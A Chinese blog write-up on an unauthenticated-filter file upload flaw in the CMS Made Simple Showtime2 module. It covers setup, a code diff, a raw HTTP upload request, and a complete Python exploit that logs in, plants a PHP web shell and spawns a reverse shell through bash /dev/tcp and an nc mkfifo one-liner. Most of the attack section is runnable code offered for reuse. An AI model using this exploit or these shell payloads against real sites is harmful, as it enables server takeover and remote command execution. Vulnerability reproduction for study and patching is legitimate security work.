好久没有代码审计了,最近在研究内网,域的相关知识,把自己搞的有点魔障。
打个广告,团队招人,运营的,技术的,后台直接联系,回复会有些延迟。
这个CVE没啥技术含量。
专心做技术,低调求发展。
送自己也是送大家俩字:蛰伏。
CMSMadeSimple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。
昨天看漏洞库的时候看到这一款CMS,于是乎就复现了一篇过程和写漏洞脚本。
CMS下载地址:
www.cmsmadesimple.org
漏洞插件下载地址:
http://dev.cmsmadesimple.org/project/list/module?letter=S
环境搭建:
kali+apache2+php+mysql
搭建方法如下:
官网上下载cmsms-2.2.9.1-install.php
到Web根目录然后
直接访问
进入安装目录
把相应的库给安装好
最后的效果是这样:
然后是安装插件:
后台登陆之后
直接下载xml
格式的文件然后上传安装
安装之后在后台的控制面板看到插件:
这次漏洞分析偷了了点懒,直接把最新版本和老版本的插件同时下载了下来直接进行文档比对
我用的工具是Beyond Compare
可以直接看到,在class.showtime2_images.php
增加了几行检测后缀后缀名称的过滤的代码。
没有对上传的文件名称进行检测和过滤
所以可以任意上传
现在来分析代码参数传递的过程
首先在后台任意一个链接的格式都会类似这样
http://192.168.1.12/admin/moduleinterface.php?mact=CMSContentManager,m1_,defaultadmin,0&__c=14316a92c008da3b7a2
所以moduleinterface.php
是后台管理的入口文件,mact
是传递的不同的参数,而且参数有4个,同时__c
主要与身份认证有关系,所以从后台的入口文件开始分析:
if (isset($_REQUEST['mact'])) {
$ary = explode(',', cms_htmlentities($_REQUEST['mact']), );
$module = (isset($ary[])?$ary[]:'');
$id = (isset($ary[])?$ary[]:'m1_');
$action = (isset($ary[])?$ary[]:'');
}
这是分离参数处理请求
至于参数传递,模版加载的过程要是仔细分析的话需要很长时间把框架的大概读一下,留到下一期分析,直接可以搭建好的环境中找到上传的点,直接上传getshell 没有任何过滤。
登陆之后直接在控制面板上找到Showtime2插件,可以找到文件上传,此处可以上传任意php代码,得到shell
http://192.168.1.12/admin/moduleinterface.php?mact=Showtime2,m1_,defaultadmin,0&__c=14316a92c008da3b7a2
POST /admin/moduleinterface.php HTTP/1.1
Host: 192.168.1.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.12/
Content-Type: multipart/form-data; boundary=---------------------------816741718262582802150258629
Content-Length: 627
Connection: keep-alive
Cookie: BL_D_PROV=undefined; BL_T_PROV=undefined; PHPSESSID=g8j4psp7tam5fqkssmhsaaf0a8; BL_D_PROV=undefined; BL_T_PROV=undefined; CMSICe0feb99ba7=g6mpp05ialg5cbqm5m1unv88le; CMSSESSIDa0ef49a94e6c=c3adouenmma3ee6f46mfq5cb08; 9d8b62c00d951bb6bdb0b850f80ede0583dbc4a9=4de767e390fef630377b054406b9678ed4935901%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiZmFuZ3poYW5nIiwiZWZmX3VpZCI6bnVsbCwiZWZmX3VzZXJuYW1lIjpudWxsLCJoYXNoIjoiJDJ5JDEwJEdqRkxXbmFka1VnZm9cL05NWVJTZFwvZXJPeEtvbTBDOHF1WVJ4ZjhsS1pmU3R5ZlgyTHZ3NE8ifQ%3D%3D; __c=9afadb91297be820694
Upgrade-Insecure-Requests: 1
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="mact"
Showtime2,m1_,defaultadmin,0
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="__c"
9afadb91297be820694
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_input_browse"; filename="2011.php"
Content-Type: text/php
<?php phpinfo();?>
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_upload_submit"
Upload
-----------------------------816741718262582802150258629--
burp类似这样直接上传 获得shell。
某位大佬poc如下:
import requests
import optparse
from requests_toolbelt.multipart.encoder import MultipartEncoder
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://192.168.1.10/cms)")
parser.add_option('-U', '--username', action="store", dest="username", help="Username for login", default="admin")
parser.add_option('-P', '--password', action="store", dest="password", help="Password for login", default="password")
parser.add_option('-l', '--local', action="store", dest="local", help="Local uri for reverse shell", default="localhost")
parser.add_option('-p', '--port', action="store", dest="port", help="Local port for reverse shell", default="2222")
options, args = parser.parse_args()
if not options.url:
print "[-] Specify an uri target"
exit()
if not options.username:
print "[-] Specify an username for login in administrator panel"
exit()
if not options.password:
print "[-] Specify a password for login in administrator panel"
exit()
base_uri = options.url
url_login = base_uri + "/admin/login.php"
user = options.username
password = options.password
session = requests.Session()
__c_var = ""
lhost = options.local
lport = options.port
# Login in administrator panel for get the csrf token
def login(username, password):
print "[*] Login to cms"
global __c_var
credentials = {"username": username, "password": password, "loginsubmit": "Submit"}
response = session.post(url_login, data=credentials, allow_redirects=False)
__c_var = response.headers['Location'].split("__c=")[]
print "[*] Token value: " + __c_var
# upload a php script with reverse shell in vulnerable functionality
def upload_shell():
print "[*] Uploading webshell"
multipart_data = MultipartEncoder(
fields = {
'm1_input_browse': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'text/plain'),
'__c': __c_var,
'mact': 'Showtime2,m1_,defaultadmin,0',
'm1_upload_submit': 'Upload'
}
)
response = session.post(base_uri + '/admin/moduleinterface.php', data=multipart_data,
headers={'Content-Type': multipart_data.content_type})
# Call the script uploaded for spawn a reverse shell
def spawn_shell():
print "[*] Spawn a shell to " + lhost + ":" + str(lport)
# payload = {"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + lhost + " " + str(lport) + " >/tmp/f"}
payload = {"cmd":"bash -i >& /dev/tcp/192.168.1.2/8888 0>&1"}
requests.post(base_uri + "/uploads/images/shell.php", data=payload)
login(user, password)
upload_shell()
spawn_shell()
团队内部的星球:每天都有新的学习任务和知识分享,非诚勿扰。